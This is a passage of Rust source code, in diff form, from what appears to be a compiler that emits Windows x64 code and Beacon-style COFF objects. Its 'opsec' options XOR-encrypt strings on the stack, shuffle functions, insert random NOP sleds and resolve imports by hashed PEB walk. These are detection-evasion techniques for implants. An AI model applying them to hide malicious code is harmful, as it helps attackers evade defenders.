veh::VEH_HANDLE_SLOT); + self.enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx); + self.enc.jcc_label(crate::encoder::Cond::Z, &skip_label); + + self.enc.sub_r64_imm32(Reg64::Rsp, 0x20); + self.emit_win32_call(&site); + self.enc.add_r64_imm32(Reg64::Rsp, 0x20); + + self.enc.place_code_label(&skip_label); + // Restore the return value. + self.enc.mov_r64_data(Reg64::Rax, SAVED_RAX_SLOT); + } + + fn alloc_local(&mut self, name: &str) -> i32 { + self.alloc_local_sized(name, 8) + } + + /// Allocate size bytes (rounded up to 8) in the current frame for + /// name. Returns the offset from rbp (negative). Used by Stmt::Let + /// to lay down in-frame value-typed struct locals. + fn alloc_local_sized(&mut self, name: &str, size: usize) -> i32 { + let rounded = ((size + 7) / 8) * 8; + self.next_off -= rounded as i32; + let off = self.next_off; + self.locals.insert(name.to_string(), off); + off + } + + fn count_local_bytes(&self, stmts: &[Stmt]) -> usize { + let mut n = 0; + for s in stmts { + match s { + Stmt::Var { ty, value, .. } => { + // Struct- and array-typed locals carve a sized slot + // out of the frame. Scalar locals always cost 8 (one + // qword slot regardless of declared sized-int width). + let raw_size = if self.struct_layouts.contains_key(ty) { + self.struct_layouts[ty].size + } else if Self::is_array_type(ty) { + self.type_size(ty) + } else { + 8 + }; + n += ((raw_size + 7) / 8) * 8; + if let Some(v) = value { + if let Expr::StructLit { fields, .. } = v { + for (_, fv) in fields { + n += self.count_hidden_lit_bytes(fv); + } + } else { + n += self.count_hidden_lit_bytes(v); + } + } + } + Stmt::Expr { value: e, .. } => n += self.count_hidden_lit_bytes(e), + Stmt::Ret { value: Some(e), .. } => n += self.count_hidden_lit_bytes(e), + Stmt::Raise { value, .. } => n += self.count_hidden_lit_bytes(value), + Stmt::If { cond, then_body, else_body } => { + n += self.count_hidden_lit_bytes(cond) + + self.count_local_bytes(then_body) + + self.count_local_bytes(else_body); + } + Stmt::While { cond, body } => { + n += self.count_hidden_lit_bytes(cond) + + self.count_local_bytes(body); + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { n += self.count_local_bytes(std::slice::from_ref(i)); } + if let Some(c) = cond { n += self.count_hidden_lit_bytes(c); } + if let Some(s) = step { n += self.count_local_bytes(std::slice::from_ref(s)); } + n += self.count_local_bytes(body); + } + Stmt::Try { body, handler, .. } => { + // The catch-binding gets its own 8-byte slot. Add it + // here so the prologue's frame is sized correctly even + // if the try is the only "local" in the function. + n += 8; + n += self.count_local_bytes(body) + + self.count_local_bytes(handler); + } + _ => {} + } + } + n + } + + fn should_stack_build_str(&self, s: &str) -> bool { + self.opsec.stack_strings && s.len() + 1 <= STACK_STR_MAX_BYTES + } + + fn emit_stack_string(&mut self, s: &str) -> Result<(), String> { + let slot_bytes = Self::stack_str_slot_bytes(s); + let n = self.label_counter; + self.label_counter += 1; + let off = self.alloc_local_sized(&format!("__stack_str_{n}"), slot_bytes); + + // Pack the literal (plus its terminating NUL, plus any + // pad bytes up to the slot boundary) into 8-byte chunks. + let mut bytes: Vec = Vec::with_capacity(slot_bytes); + bytes.extend_from_slice(s.as_bytes()); + bytes.push(0); + while bytes.len() < slot_bytes { bytes.push(0); } + + let mut key = self.rng.next_u64(); + if key == 0 { key = 0xA5A5_A5A5_DEAD_BEEF; } + + self.enc.mov_r64_imm64(Reg64::R11, key); + + for (chunk_idx, chunk) in bytes.chunks(8).enumerate() { + let mut q: u64 = 0; + for (i, b) in chunk.iter().enumerate() { + q |= (*b as u64) << (8 * i); + } + let encrypted = q ^ key; + // mov rax, + self.enc.mov_r64_imm64(Reg64::Rax, encrypted); + // xor rax, r11 to rax now holds the plaintext qword + self.enc.xor_r64_r64(Reg64::Rax, Reg64::R11); + let disp = off + (chunk_idx * 8) as i32; + self.enc.mov_rbp_disp_r64(disp, Reg64::Rax); + } + + // Leave the slot's address in rax. Callers consume this as + // the str value exactly like a lea r64, [rdata_label]. + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + Ok(()) + } + + /// Frame-byte cost of rebuilding s on the stack: round + /// len + 1 (NUL) up to the next 8-byte boundary. + fn stack_str_slot_bytes(s: &str) -> usize { + let raw = s.len() + 1; + ((raw + 7) / 8) * 8 + } + + fn count_hidden_lit_bytes(&self, e: &Expr) -> usize { + let mut n = 0; + match e { + Expr::StructLit { ty, fields, .. } => { + let raw = self.struct_layouts.get(ty).map(|l| l.size).unwrap_or(0); + n += ((raw + 7) / 8) * 8; + for (_, fv) in fields { n += self.count_hidden_lit_bytes(fv); } + } + Expr::Call { ns, fname, args, .. } => { + if ns.is_empty() { + if let Some(rt) = self.fn_ret_types.get(fname) { + if let Some(l) = self.struct_layouts.get(rt) { + n += ((l.size + 7) / 8) * 8; + } + } + } + let first_skip = ns == "str" && fname == "format"; + for (i, a) in args.iter().enumerate() { + if first_skip && i == 0 { continue; } + n += self.count_hidden_lit_bytes(a); + } + } + Expr::Binary { lhs, rhs, .. } => { + n += self.count_hidden_lit_bytes(lhs) + + self.count_hidden_lit_bytes(rhs); + } + Expr::Unary { operand, .. } => n += self.count_hidden_lit_bytes(operand), + Expr::Assign { value, .. } => n += self.count_hidden_lit_bytes(value), + Expr::Field { base, .. } => n += self.count_hidden_lit_bytes(base), + Expr::FieldAssign { base, value, .. } => { + n += self.count_hidden_lit_bytes(base) + + self.count_hidden_lit_bytes(value); + } + Expr::DerefAssign { ptr, value } => { + n += self.count_hidden_lit_bytes(ptr) + + self.count_hidden_lit_bytes(value); + } + Expr::Index { base, index } => { + n += self.count_hidden_lit_bytes(base) + + self.count_hidden_lit_bytes(index); + } + Expr::IndexAssign { base, index, value } => { + n += self.count_hidden_lit_bytes(base) + + self.count_hidden_lit_bytes(index) + + self.count_hidden_lit_bytes(value); + } + Expr::Cast { expr, .. } => n += self.count_hidden_lit_bytes(expr), + Expr::Str(s) => { + if self.should_stack_build_str(s) { + n += Self::stack_str_slot_bytes(s); + } + } + Expr::Int(_) | Expr::Bool(_) | Expr::Var(_) | Expr::SizeOf { .. } => {} + } + n + } + + /// Like [generate] but discards the debug-info sidecar. Kept for + /// any future test harness that only cares about the byte blob. + #[allow(dead_code)] + pub fn generate(self, prog: &Program) -> Result, String> { + Ok(self.generate_with_debug(prog)?.code) + } + + pub fn generate_with_debug(mut self, prog: &Program) -> Result { + // Resolve [Override] + [Hook] attributes once up + // front. Errors here (duplicate slots, unknown slot names, + // conflicting hooks) surface before any bytes are emitted. + let (overrides, hooks, stages) = build_attributes(prog)?; + self.overrides = overrides; + self.hooks = hooks; + self.stages = stages; + + let want_string_xor = self.opsec.strings_xor && !self.kind.is_object(); + if want_string_xor { + self.enc.mark_rdata_position("__rdata_start"); + } + + // Cache fn return types so callsite lowering can detect struct + // returns without rewalking. This is built before struct + // layouts so layout-lookup correctness is independent of order. + for f in &prog.functions { + self.fn_ret_types.insert(f.name.clone(), f.ret_ty.clone()); + if f.is_extern { + self.extern_fns.insert(f.name.clone()); + } + } + + self.needs_resolver = program_uses(prog, |e| is_win32_call(e)); + // VEH integration: enabled when the program has any try block. + // Forces the import resolver too, because we need + // Kernel32.AddVectoredExceptionHandler at startup. + self.needs_veh = program_uses_try(prog); + if self.needs_veh { + self.needs_resolver = true; + } + let uses_alloc = program_uses(prog, |e| + is_intrinsic(e, "mem", "alloc") || is_intrinsic(e, "mem", "collect")); + self.needs_gc = if self.kind.is_object() { + false + } else { + match self.gc_mode { + GcMode::Auto => uses_alloc, + GcMode::On => true, + GcMode::Manual => { + if uses_alloc { self.needs_resolver = true; } + false + } + GcMode::Off => { + if uses_alloc { + return Err( + "build was configured with `--gc=off` but this program \ + calls `mem.alloc(...)`. Switch to `--gc=manual` to use \ + HeapAlloc + explicit mem.free, or `--gc=auto` (default) / \ + `--gc=on` for managed allocation.".into() + ); + } + false + } + } + }; + self.needs_shared = program_uses(prog, |e| is_shared_call(e)); + + for s in &prog.structs { + // First-wins semantics for duplicate struct names - mirrors + // statics. Lets users import overlapping use_c headers + // without bookkeeping. + if self.struct_layouts.contains_key(&s.name) { + continue; + } + let mut off = 0usize; + let mut max_size = 0usize; + let mut max_align = 1usize; + let mut fields = HashMap::new(); + for (fname, fty) in &s.fields { + if fields.contains_key(fname) { + let kind = if s.is_union { "union" } else { "struct" }; + return Err(format!("{kind} {}: duplicate field {fname}", s.name)); + } + let size = self.type_size(fty); + let align = self.type_align(fty); + let field_off = if s.is_union { + 0 + } else { + off = (off + align - 1) & !(align - 1); + off + }; + fields.insert(fname.clone(), StructField { + ty: fty.clone(), + offset: field_off as i32, + size, + }); + if s.is_union { + if size > max_size { max_size = size; } + } else { + off += size; + } + if align > max_align { max_align = align; } + } + let base = if s.is_union { max_size } else { off }; + let total = if max_align == 0 { base } else { (base + max_align - 1) & !(max_align - 1) }; + self.struct_layouts.insert( + s.name.clone(), + StructLayout { size: total, align: max_align, fields }, + ); + } + + for st in &prog.statics { + if self.globals_idx.contains_key(&st.name) { + continue; + } + let size = self.size_of_type(&st.ty); + let label = format!("__static_{}", st.name); + self.enc.add_bss(&label, size); + self.globals_idx.insert(st.name.clone(), self.globals.len()); + self.globals.push(GlobalSlot { + label, + ty: st.ty.clone(), + init: st.init.clone(), + }); + } + + let entry = self.kind.entry_name(); + if let Some(entry_fn) = prog.functions.iter().find(|f| f.name == entry && !f.is_extern) { + self.gen_function(entry_fn)?; + } + let mut order: Vec = (0..prog.functions.len()) + .filter(|&i| !prog.functions[i].is_extern + && prog.functions[i].name != entry) + .collect(); + if self.opsec.reorder_functions { + // Fisher-Yates shuffle using our seeded RNG so the + // resulting layout is reproducible from --seed=N. + for i in (1..order.len()).rev() { + let j = (self.rng.range((i + 1) as u64)) as usize; + order.swap(i, j); + } + } + for idx in order { + self.gen_function(&prog.functions[idx])?; + } + + if !self.kind.is_object() { + if self.needs_gc { gc::emit_runtime(&mut self.enc); } + if self.needs_shared { shared::emit_runtime(&mut self.enc); } + if self.needs_resolver { + if let Some(name) = self.overrides.resolver.clone() { + resolver::emit_with_user_resolver(&mut self.enc, &self.imports, &name); + } else { + // Default path: PEB walk via gs:[0x60]; on non-Windows + // OSes that AVs, so the Linux test harness only stays + // runnable for programs that don't touch Win32. + resolver::emit(&mut self.enc, &self.imports); + } + } + } + + if self.kind.is_object() && self.opsec.hashed_imports { + resolver::emit(&mut self.enc, &self.imports); + } + + if self.needs_veh { + veh::emit_veh_handler(&mut self.enc); + } + + if want_string_xor { + polymorphism::emit_decryptor(&mut self.enc); + } + + let mut opsec_for_pass = self.opsec.clone(); + if self.kind.is_object() { + opsec_for_pass.strings_xor = false; + } + polymorphism::transform(&mut self.enc, &opsec_for_pass, &mut self.rng); + + // Snapshot the dbg marks + vars before finalize consumes the encoder. + let dbg_marks = std::mem::take(&mut self.enc.dbg_marks); + let dbg_vars = std::mem::take(&mut self.enc.dbg_vars); + + let code = if self.kind.is_object() { + let kind = self.kind; + let enc = std::mem::replace(&mut self.enc, crate::encoder::Encoder::new()); + let artifact = enc.finalize_for_coff()?; + Self::emit_coff(kind, artifact)? + } else { + self.enc.finalize()? + }; + + Ok(CompiledBlob { code, dbg_marks, dbg_vars, cna_script: None }) + } + + fn emit_coff(kind: BuildKind, artifact: crate::encoder::CoffArtifact) -> Result, String> { + use crate::coff::{CoffObject, CoffReloc, SectionId, SymKind, IMAGE_REL_AMD64_REL32}; + use crate::encoder::DataSection; + let mut obj = CoffObject::new(); + obj.text.bytes = artifact.text; + obj.rdata.bytes = artifact.rdata; + obj.data.bytes = artifact.data; + obj.bss_size = artifact.bss_size as u32; + + // Entry symbol. Look up go's offset; for the standard build + // it's always 0 (we emit the entry first), but read it from + // the labels map anyway in case future refactors move it. + let entry_name = kind.entry_name(); + let entry_off = *artifact.code_labels.get(entry_name) + .ok_or_else(|| format!("BOF entry `{entry_name}` was never emitted"))? + as u32; + obj.intern(entry_name, SymKind::TextExtern, entry_off); + + for ext in &artifact.externals { + let sym_idx = obj.intern(&ext.sym, SymKind::Undefined, 0); + obj.text.relocs.push(CoffReloc { + at: ext.at, + sym: sym_idx, + ty: IMAGE_REL_AMD64_REL32, + }); + } + + let mut rdata_sym: Option = None; + let mut data_sym: Option = None; + let mut bss_sym: Option = None; + for dr in &artifact.data_relocs { + let sym_idx = match dr.section { + DataSection::Rdata => *rdata_sym.get_or_insert_with(|| { + obj.intern( + ".rdata", + SymKind::DataStatic { section: SectionId::Rdata }, + 0, + ) + }), + DataSection::Data => *data_sym.get_or_insert_with(|| { + obj.intern( + ".data", + SymKind::DataStatic { section: SectionId::Data }, + 0, + ) + }), + DataSection::Bss => *bss_sym.get_or_insert_with(|| { + obj.intern( + ".bss", + SymKind::DataStatic { section: SectionId::Bss }, + 0, + ) + }), + }; + obj.text.relocs.push(CoffReloc { + at: dr.at, + sym: sym_idx, + ty: IMAGE_REL_AMD64_REL32, + }); + } + + crate::coff::emit(&obj) + } + + fn gen_function(&mut self, fn_: &Function) -> Result<(), String> { + self.locals.clear(); + self.local_types.clear(); + self.next_off = 0; + self.current_ret_label = format!(".L{}_ret", fn_.name); + self.current_ret_dst_off = None; + self.current_ret_ty = fn_.ret_ty.clone(); + // Per-function aspect-oriented context - drives the hook + // bypass logic in should_hook. Reset at the top of every + // function so calls inside fn A don't see fn B's [NoHook]. + self.current_fn_hook = collect_fn_hook_ctx(fn_); + + let naked = self.overrides.ntcall.as_deref() == Some(fn_.name.as_str()); + if naked { + self.enc.place_code_label(&fn_.name); + self.gen_block(&fn_.body)?; + // No epilogue, no implicit ret. User's body must end with + // its own ret (usually via asm { ret; }). + return Ok(()); + } + + let returns_struct = self.struct_layouts.contains_key(&fn_.ret_ty); + let hidden_dst_bytes = if returns_struct { 8 } else { 0 }; + let want = self.count_local_bytes(&fn_.body) + + fn_.params.len() * 8 + 32 + + hidden_dst_bytes; + let frame = ((want + 15) / 16) * 16; + + self.enc.place_code_label(&fn_.name); + + let is_entry = fn_.name == self.kind.entry_name(); + if self.opsec.nop_sled { + let max = if is_entry { 65 } else { 17 }; + let n = self.rng.range(max) as usize; + polymorphism::emit_nop_sled(&mut self.enc, &mut self.rng, n); + } + + self.enc.push_r64(Reg64::Rbp); + self.enc.mov_r64_r64(Reg64::Rbp, Reg64::Rsp); + self.enc.sub_r64_imm32(Reg64::Rsp, frame as i32); + + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + let arg_shift: usize = if returns_struct { 1 } else { 0 }; + if returns_struct { + let off = self.alloc_local("__ret_dst"); + self.local_types.insert("__ret_dst".into(), format!("{}*", fn_.ret_ty)); + self.enc.mov_rbp_disp_r64(off, Reg64::Rcx); + self.current_ret_dst_off = Some(off); + } + for (i, p) in fn_.params.iter().enumerate() { + let is_struct_param = self.struct_layouts.contains_key(&p.ty); + if Self::is_array_type(&p.ty) { + let elem = parse_array_type(&p.ty).map(|(e, _)| e).unwrap_or("u8"); + return Err(format!( + "param `{}: {}`: array-typed params aren't supported - \ + declare as `{elem}*` and the caller's array decays to a pointer.", + p.name, p.ty + )); + } + let off = self.alloc_local(&p.name); + let internal_ty = if is_struct_param { + format!("{}*", p.ty) + } else { + p.ty.clone() + }; + self.local_types.insert(p.name.clone(), internal_ty); + let abi_i = i + arg_shift; + if abi_i < 4 { + self.enc.mov_rbp_disp_r64(off, arg_regs[abi_i]); + } else { + let caller_off = 48 + ((abi_i - 4) as i32) * 8; + self.enc.mov_r64_rbp_disp(Reg64::Rax, caller_off); + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + } + } + + if is_entry && self.opsec.strings_xor && !self.kind.is_object() { + self.enc.call_label(polymorphism::DECRYPT_FN_LABEL); + } + + if is_entry && self.opsec.hashed_imports && self.kind.is_object() { + self.enc.call_label("__resolve_imports"); + } + + // main initialises only the subsystems the program actually uses, + // chosen by the pre-scan in generate. Each if here saves both a + // call instruction and the runtime block it would invoke. + if fn_.name == "main" { + if self.needs_shared { + // Caller's rcx is the HostServices* under our entry + // convention (Win64 first-arg register). Save it before any + // of our calls can clobber it. + self.enc.mov_data_r64(shared::SLOT_HOST_SERVICES, Reg64::Rcx); + } + if let Some(name) = self.overrides.bootstrap.clone() { + self.enc.call_label(&name); + } + if self.needs_gc { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, 16); + self.enc.mov_data_r64(gc::STACK_TOP, Reg64::Rax); + self.enc.call_label("__gc_init"); + } + if self.needs_resolver { + self.enc.call_label("__resolve_imports"); + } + } + + if is_entry { + self.emit_static_initializers()?; + } + + if is_entry && self.needs_veh { + self.emit_veh_register(); + } + + if is_entry { + for name in self.stages.init.clone() { + self.enc.call_label(&name); + } + } + + self.gen_block(&fn_.body)?; + + // Implicit ret 0 fall-through. + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.place_code_label(&self.current_ret_label.clone()); + + if is_entry && !self.stages.exit.is_empty() { + const SAVED_RAX_SLOT: &str = "__opsec_stage_exit_saved_rax"; + if !self.enc.data_has(SAVED_RAX_SLOT) { + self.enc.add_bss(SAVED_RAX_SLOT, 8); + } + self.enc.mov_data_r64(SAVED_RAX_SLOT, Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 0x20); + for name in self.stages.exit.clone() { + self.enc.call_label(&name); + } + self.enc.add_r64_imm32(Reg64::Rsp, 0x20); + self.enc.mov_r64_data(Reg64::Rax, SAVED_RAX_SLOT); + } + + // VEH cleanup before tearing down the frame. Saved-rax dance + // inside emit_veh_unregister preserves whatever value the + // user ret-ed (and any Stage handlers left intact). + if is_entry && self.needs_veh { + self.emit_veh_unregister(); + } + + self.enc.mov_r64_r64(Reg64::Rsp, Reg64::Rbp); + self.enc.pop_r64(Reg64::Rbp); + self.enc.ret(); + Ok(()) + } + + fn gen_block(&mut self, stmts: &[Stmt]) -> Result<(), String> { + for s in stmts { self.gen_stmt(s)?; } + Ok(()) + } + + fn gen_stmt(&mut self, s: &Stmt) -> Result<(), String> { + let (span, kind) = stmt_breadcrumb(s); + self.enc.dbg_mark(span.line, span.col, kind); + match s { + Stmt::Var { name, ty, value, span } => { + let is_struct = self.struct_layouts.contains_key(ty); + let is_array = Self::is_array_type(ty); + if is_struct || is_array { + if is_array && value.is_some() { + return Err(format!( + "`var {name}: {ty} = ...` - array locals can't have an \ + initialiser. Drop the `=` for an in-frame zero-initialised slot." + )); + } + let raw_size = if is_struct { + self.struct_layouts[ty].size + } else { + self.type_size(ty) + }; + let off = self.alloc_local_sized(name, raw_size); + self.local_types.insert(name.clone(), ty.clone()); + self.enc.dbg_var(name, ty, off, span.line, u32::MAX); + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + let qwords = ((raw_size + 7) / 8) as i32; + for i in 0..qwords { + self.enc.mov_rbp_disp_r64(off + i * 8, Reg64::Rax); + } + if let Some(v) = value { + match v { + Expr::StructLit { ty: lit_ty, fields, .. } => { + if lit_ty != ty { + return Err(format!( + "var `{name}` declared as `{ty}` but initialised with \ + `{lit_ty} {{...}}` - types must match" + )); + } + self.emit_struct_lit_into_rbp(lit_ty, fields, off)?; + } + _ => { + // Evaluate source-address in rax; memcpy bytes + // from src to [rbp+off]. rsi/rdi are non-volatile + // under Win64; preserve them. + self.gen_expr(v)?; + self.enc.push_r64(Reg64::Rsi); + self.enc.push_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax); + self.enc.lea_r64_r64disp(Reg64::Rdi, Reg64::Rbp, off); + self.enc.mov_r64_imm64(Reg64::Rcx, raw_size as u64); + self.enc.cld(); + self.enc.rep_movsb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.pop_r64(Reg64::Rsi); + } + } + } + } else { + let off = self.alloc_local(name); + self.local_types.insert(name.clone(), ty.clone()); + self.enc.dbg_var(name, ty, off, span.line, u32::MAX); + if let Some(v) = value { + self.gen_expr(v)?; + } else { + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + } + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + } + } + Stmt::Expr { value: e, .. } => { self.gen_expr(e)?; } + Stmt::Ret { value, .. } => { + if let (Some(e), Some(dst_off)) = (value, self.current_ret_dst_off) { + let size = self.struct_layouts.get(&self.current_ret_ty) + .map(|l| l.size) + .unwrap_or(0); + self.gen_expr(e)?; + self.enc.push_r64(Reg64::Rsi); + self.enc.push_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax); + self.enc.mov_r64_rbp_disp(Reg64::Rdi, dst_off); + self.enc.mov_r64_imm64(Reg64::Rcx, size as u64); + self.enc.cld(); + self.enc.rep_movsb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.pop_r64(Reg64::Rsi); + self.enc.mov_r64_rbp_disp(Reg64::Rax, dst_off); + self.enc.jmp_label(&self.current_ret_label.clone()); + } else { + if let Some(e) = value { self.gen_expr(e)?; } + else { self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); } + self.enc.jmp_label(&self.current_ret_label.clone()); + } + } + Stmt::If { cond, then_body, else_body } => { + let l_else = self.new_label("else"); + let l_end = self.new_label("endif"); + self.gen_expr(cond)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(Cond::Z, &l_else); + self.gen_block(then_body)?; + self.enc.jmp_label(&l_end); + self.enc.place_code_label(&l_else); + self.gen_block(else_body)?; + self.enc.place_code_label(&l_end); + } + Stmt::While { cond, body } => { + let l_top = self.new_label("while_top"); + let l_end = self.new_label("while_end"); + self.enc.place_code_label(&l_top); + self.gen_expr(cond)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(Cond::Z, &l_end); + // continue in a while re-tests the condition, so the + // continue target is the same label as the top. + self.loop_stack.push((l_top.clone(), l_end.clone())); + self.gen_block(body)?; + self.loop_stack.pop(); + self.enc.jmp_label(&l_top); + self.enc.place_code_label(&l_end); + } + Stmt::For { init, cond, step, body } => { + let l_top = self.new_label("for_top"); + let l_cont = self.new_label("for_cont"); + let l_end = self.new_label("for_end"); + if let Some(i) = init { self.gen_stmt(i)?; } + self.enc.place_code_label(&l_top); + if let Some(c) = cond { + self.gen_expr(c)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(Cond::Z, &l_end); + } + self.loop_stack.push((l_cont.clone(), l_end.clone())); + self.gen_block(body)?; + self.loop_stack.pop(); + self.enc.place_code_label(&l_cont); + if let Some(s) = step { self.gen_stmt(s)?; } + self.enc.jmp_label(&l_top); + self.enc.place_code_label(&l_end); + } + Stmt::Break => { + let (_, l_end) = self.loop_stack.last().cloned() + .ok_or_else(|| "`break` outside of a loop".to_string())?; + self.enc.jmp_label(&l_end); + } + Stmt::Continue => { + let (l_cont, _) = self.loop_stack.last().cloned() + .ok_or_else(|| "`continue` outside of a loop".to_string())?; + self.enc.jmp_label(&l_cont); + } + Stmt::Try { body, err_name, handler } => { + let l_handler = self.new_label("try_handler"); + let l_end = self.new_label("try_end"); + + macros::emit_try_prologue(&mut self.enc, &l_handler); + self.gen_block(body)?; + macros::emit_try_epilogue(&mut self.enc); + self.enc.jmp_label(&l_end); + + // Handler entry: by convention rax holds the raised value. + // We spill it into a local named err_name if there's room. + self.enc.place_code_label(&l_handler); + let off = self.alloc_local(err_name); + self.local_types.insert(err_name.clone(), "int".into()); + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + self.gen_block(handler)?; + self.enc.place_code_label(&l_end); + } + Stmt::Asm(lines) => { + self.gen_asm(lines)?; + } + Stmt::Raise { value, .. } => { + self.gen_expr(value)?; + let fail = self.new_label("raise_fail"); + macros::emit_raise(&mut self.enc, &fail); + } + } + Ok(()) + } + + /// Result of an expression is left in rax. + fn gen_expr(&mut self, e: &Expr) -> Result<(), String> { + match e { + Expr::Int(n) => self.enc.mov_r64_imm64(Reg64::Rax, *n as u64), + Expr::Bool(b) => self.enc.mov_r64_imm64(Reg64::Rax, if *b {1} else {0}), + Expr::Str(s) => { + if self.should_stack_build_str(s) { + self.emit_stack_string(s)?; + } else { + let lbl = format!("__str_{}", self.label_counter); + self.label_counter += 1; + self.enc.add_string(&lbl, s); + self.enc.lea_r64_data(Reg64::Rax, &lbl); + } + } + Expr::Var(name) => { + if let Some(&off) = self.locals.get(name) { + let ty = self.local_types.get(name).cloned().unwrap_or_default(); + if self.struct_layouts.contains_key(&ty) || Self::is_array_type(&ty) { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + } else { + self.enc.mov_r64_rbp_disp(Reg64::Rax, off); + } + } else if let Some(&idx) = self.globals_idx.get(name) { + // Mirror of the local rules. Struct/array globals lea + // their data label; everything else loads the qword. + let g = &self.globals[idx]; + if self.struct_layouts.contains_key(&g.ty) || Self::is_array_type(&g.ty) { + self.enc.lea_r64_data(Reg64::Rax, &g.label); + } else { + self.enc.mov_r64_data(Reg64::Rax, &g.label); + } + } else if self.fn_ret_types.contains_key(name) { + self.enc.lea_r64_code(Reg64::Rax, name); + } else { + return Err(format!("undefined variable: {name}")); + } + } + Expr::Assign { name, value } => { + if let Some(&off) = self.locals.get(name) { + self.gen_expr(value)?; + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + } else if let Some(&idx) = self.globals_idx.get(name) { + let label = self.globals[idx].label.clone(); + self.gen_expr(value)?; + self.enc.mov_data_r64(&label, Reg64::Rax); + } else { + return Err(format!("undefined variable: {name}")); + } + } + Expr::Field { base, field } => { + let (offset, ty, size) = self.resolve_field(base, field)?; + self.gen_addr(base)?; // rax = base address + // Array fields and embedded struct fields don't load - they + // decay to the address of their first byte. Indexing / + // field-of-field chains pick up from there. + if Self::is_array_type(&ty) || self.struct_layouts.contains_key(&ty) { + if offset != 0 { + self.enc.add_r64_imm32(Reg64::Rax, offset); + } + } else { + match size { + 1 => self.enc.movzx_r64_byte_r64disp(Reg64::Rax, Reg64::Rax, offset), + 2 => self.enc.movzx_r64_word_r64disp(Reg64::Rax, Reg64::Rax, offset), + 4 => self.enc.mov_r32_r64disp(Reg64::Rax, Reg64::Rax, offset), + 8 => self.enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rax, offset), + n => return Err(format!("field load: size {n} not supported (use a pointer field)")), + } + } + } + Expr::FieldAssign { base, field, value } => { + let (offset, _ty, size) = self.resolve_field(base, field)?; + // Evaluate value first, stash on stack (pair-aligned). + self.gen_expr(value)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_addr(base)?; // rax = base address + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); // restore the value + // Width-correct store; the low size bytes of rax are written. + match size { + 1 => self.enc.mov_byte_r64disp_r8(Reg64::Rcx, offset, Reg64::Rax), + 2 => self.enc.mov_word_r64disp_r16(Reg64::Rcx, offset, Reg64::Rax), + 4 => self.enc.mov_dword_r64disp_r32(Reg64::Rcx, offset, Reg64::Rax), + 8 => self.enc.mov_r64disp_r64(Reg64::Rcx, offset, Reg64::Rax), + n => return Err(format!("field store: size {n} not supported")), + } + } + Expr::Cast { ty, expr } => { + if ty == "wstr" { + if let Expr::Str(s) = expr.as_ref() { + let lbl = format!("__wstr_{}", self.label_counter); + self.label_counter += 1; + let mut bytes = Vec::with_capacity(s.len() * 2 + 2); + for u in s.encode_utf16() { + bytes.extend_from_slice(&u.to_le_bytes()); + } + bytes.push(0); bytes.push(0); + self.enc.add_data(&lbl, &bytes); + self.enc.lea_r64_data(Reg64::Rax, &lbl); + return Ok(()); + } + return Err( + "(wstr) cast supports only string literals in V1; \ + runtime ASCII to UTF-16 conversion isn't wired up yet".into() + ); + } + if let Some(lit) = literal_int_value(expr) { + if let Some(narrowed) = narrow_int_literal(ty, lit) { + self.enc.mov_r64_imm64(Reg64::Rax, narrowed as u64); + return Ok(()); + } + } + self.gen_expr(expr)?; + } + Expr::SizeOf { ty } => { + let size = self.type_size(ty) as u64; + self.enc.mov_r64_imm64(Reg64::Rax, size); + } + Expr::Unary { op, operand } => { + // & and * don't follow the "evaluate operand, then operate" + // pattern - they need the variable's address or the + // pointer's value as the starting point. + if op == "&" { + return self.gen_addr_of(operand); + } + if op == "*" { + // Determine pointee width before clobbering operand + // typing. Defaults to qword if we can't infer. + let inner_ty = self.expr_type(operand); + let pointee_ty = pointee(&inner_ty) + .map(String::from) + .unwrap_or_else(|| inner_ty.clone()); + // Loading a struct value into rax doesn't make sense - + // structs are multi-byte and we have no in-register + // struct representation. Direct user to (*p).field. + if self.struct_layouts.contains_key(&pointee_ty) { + return Err(format!( + "`*` on a `{inner_ty}` doesn't yield a usable value - \ + use `(*p).field` for fields or pass `p` directly" + )); + } + self.gen_expr(operand)?; // rax = pointer + self.emit_load_width(&pointee_ty, Reg64::Rax); + return Ok(()); + } + self.gen_expr(operand)?; + match op.as_str() { + "-" => { + // neg rax = REX.W F7 /3 + self.enc.emit_raw(0x48); + self.enc.emit_raw(0xF7); + self.enc.emit_raw(0xD8); // mod=11 /3 rm=000(rax) + } + "!" => { + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + // sete al = 0F 94 C0 + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0x94); + self.enc.emit_raw(0xC0); + // movzx eax, al = 0F B6 C0 - implicit zero-extend + // to rax. 3 bytes vs 4 for the REX.W form. + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xB6); + self.enc.emit_raw(0xC0); + } + "~" => self.enc.not_r64(Reg64::Rax), + _ => return Err(format!("unknown unary op: {op}")), + } + } + Expr::Binary { op, lhs, rhs } => self.gen_binary(op, lhs, rhs)?, + Expr::Call { ns, fname, 